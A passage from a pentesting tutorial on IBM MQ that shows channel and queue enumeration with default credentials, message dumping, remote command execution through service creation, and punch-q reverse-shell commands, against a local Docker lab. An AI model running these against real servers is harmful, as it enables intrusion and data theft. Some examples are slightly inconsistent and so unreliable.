# 1414 - Pentesting IBM MQ {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Informazioni di base IBM MQ è una tecnologia IBM per gestire le code di messaggi. Come altre tecnologie di **message broker**, è dedicata a ricevere, memorizzare, elaborare e classificare informazioni tra produttori e consumatori. Per impostazione predefinita, **espone la porta TCP 1414 di IBM MQ**. A volte, l'API REST HTTP può essere esposta sulla porta **9443**. Le metriche (Prometheus) possono anche essere accessibili dalla porta TCP **9157**. La porta TCP 1414 di IBM MQ può essere utilizzata per manipolare messaggi, code, canali, ... ma **anche per controllare l'istanza**. IBM fornisce una vasta documentazione tecnica disponibile su [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq). ## Strumenti Uno strumento suggerito per una facile sfruttamento è **[punch-q](https://github.com/sensepost/punch-q)**, con utilizzo di Docker. Lo strumento utilizza attivamente la libreria Python `pymqi`. Per un approccio più manuale, utilizzare la libreria Python **[pymqi](https://github.com/dsuch/pymqi)**. Sono necessarie [dipendenze di IBM MQ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). ### Installazione di pymqi **Le dipendenze di IBM MQ** devono essere installate e caricate: 1. Crea un account (IBMid) su [https://login.ibm.com/](https://login.ibm.com/). 2. Scarica le librerie IBM MQ da [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Per Linux x86_64 è **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**. 3. Decomprimere (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`). 4. Esegui `sudo ./mqlicense.sh` per accettare i termini delle licenze. >Se sei sotto Kali Linux, modifica il file `mqlicense.sh`: rimuovi/commenta le seguenti righe (tra le righe 105-110): > >```bash >if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "ERROR: This package is incompatible with this system" > echo " This package was built for ${BUILD_PLATFORM}" > exit 1 >fi >``` 5. Installa questi pacchetti: ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. Quindi, aggiungi temporaneamente i file `.so` a LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **prima** di eseguire altri strumenti che utilizzano queste dipendenze. Poi, puoi clonare il progetto [**pymqi**](https://github.com/dsuch/pymqi): contiene frammenti di codice interessanti, costanti, ... Oppure puoi installare direttamente la libreria con: `pip install pymqi`. ### Utilizzando punch-q #### Con Docker Basta usare: `sudo docker run --rm -ti leonjza/punch-q`. #### Senza Docker Clona il progetto [**punch-q**](https://github.com/sensepost/punch-q) e segui il readme per l'installazione (`pip install -r requirements.txt && python3 setup.py install`). Dopo, può essere utilizzato con il comando `punch-q`. ## Enumerazione Puoi provare a enumerare il **nome del gestore della coda, gli utenti, i canali e le code** con **punch-q** o **pymqi**. ### Gestore della Coda A volte, non c'è protezione contro l'ottenimento del nome del Gestore della Coda: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` ### Channels **punch-q** utilizza una wordlist interna (modificabile) per trovare canali esistenti. Esempio di utilizzo: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` Succede che alcune istanze di IBM MQ accettino richieste MQ **non autenticate**, quindi `--username / --password` non è necessario. Naturalmente, i diritti di accesso possono anche variare. Non appena otteniamo un nome di canale (qui: `DEV.ADMIN.SVRCONN`), possiamo enumerare tutti gli altri canali. L'enumerazione può essere effettuata fondamentalmente con questo frammento di codice `code/examples/dis_channels.py` da **pymqi**: ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ... Ma **punch-q** include anche quella parte (con più informazioni!). Può essere avviato con: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` ### Code C'è un frammento di codice con **pymqi** (`dis_queues.py`) ma **punch-q** consente di recuperare più informazioni sulle code: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | # Truncated ``` ## Exploit ### Dump messages Puoi mirare a coda(e)/canale(i) per fiutare / scaricare messaggi da essi (operazione non distruttiva). *Esempi:* ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **Non esitate a iterare su tutte le code identificate.** ### Esecuzione del codice > Alcuni dettagli prima di continuare: IBM MQ può essere controllato attraverso diversi modi: MQSC, PCF, Control Command. Alcuni elenchi generali possono essere trovati nella [documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Formati di Comando Programmabili***) è su cui ci concentriamo per interagire da remoto con l'istanza. **punch-q** e inoltre **pymqi** si basano sulle interazioni PCF. > > Puoi trovare un elenco di comandi PCF: > * [Dalla documentazione PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), e > * [dai costanti](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). > > Un comando interessante è `MQCMD_CREATE_SERVICE` e la sua documentazione è disponibile [qui](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Prende come argomento un `StartCommand` che punta a un programma locale sull'istanza (esempio: `/bin/sh`). > > C'è anche un avviso del comando nella documentazione: *"Attenzione: Questo comando consente a un utente di eseguire un comando arbitrario con autorità mqm. Se vengono concessi diritti per utilizzare questo comando, un utente malintenzionato o negligente potrebbe definire un servizio che danneggia i tuoi sistemi o dati, ad esempio, eliminando file essenziali."* > > *Nota: sempre secondo la documentazione di IBM MQ (Riferimento all'Amministrazione), c'è anche un endpoint HTTP a `/admin/action/qmgr/{qmgrName}/mqsc` per eseguire il comando MQSC equivalente per la creazione del servizio (`DEFINE SERVICE`). Questo aspetto non è ancora trattato qui.* La creazione / eliminazione del servizio con PCF per l'esecuzione di programmi remoti può essere effettuata da **punch-q**: **Esempio 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > Nei log di IBM MQ, puoi leggere che il comando è stato eseguito con successo: > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: Il comando '808544aa7fc94c48' è iniziato. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` Puoi anche enumerare i programmi esistenti sulla macchina (qui `/bin/doesnotexist` ... non esiste): ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **Fai attenzione che il lancio del programma è asincrono. Quindi hai bisogno di un secondo elemento per sfruttare l'exploit** ***(listener per reverse shell, creazione di file su un servizio diverso, esfiltrazione di dati attraverso la rete ...)*** **Esempio 2** Per una reverse shell facile, **punch-q** propone anche due payload per reverse shell: * Uno con bash * Uno con perl *Naturalmente puoi costruirne uno personalizzato con il comando `execute`.* Per bash: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` Per perl: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### Custom PCF Puoi approfondire la documentazione di IBM MQ e utilizzare direttamente la libreria python **pymqi** per testare comandi PCF specifici non implementati in **punch-q**. **Example:** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` Se non riesci a trovare i nomi delle costanti, puoi fare riferimento alla [documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors). > *Esempio per [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimale = 73). Ha bisogno del parametro `MQCA_CLUSTER_NAME` (Decimale = 2029) che può essere `*` (Doc: ):* > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Error") > else: > print(response) > > qmgr.disconnect() > ``` ## Ambiente di test Se desideri testare il comportamento e gli exploit di IBM MQ, puoi impostare un ambiente locale basato su Docker: 1. Avere un account su ibm.com e cloud.ibm.com. 2. Creare un IBM MQ containerizzato con: ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` Per impostazione predefinita, l'autenticazione è abilitata, il nome utente è `admin` e la password è `passw0rd` (variabile ambiente `MQ_ADMIN_PASSWORD`). Qui, il nome del gestore di coda è stato impostato su `MYQUEUEMGR` (variabile `MQ_QMGR_NAME`). Dovresti avere IBM MQ in esecuzione con le sue porte esposte: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > Le vecchie versioni delle immagini docker di IBM MQ si trovano su: https://hub.docker.com/r/ibmcom/mq/. ## Riferimenti * [mgeeky's gist - "Note pratiche di Penetration Testing di IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) * [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) * [Documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq)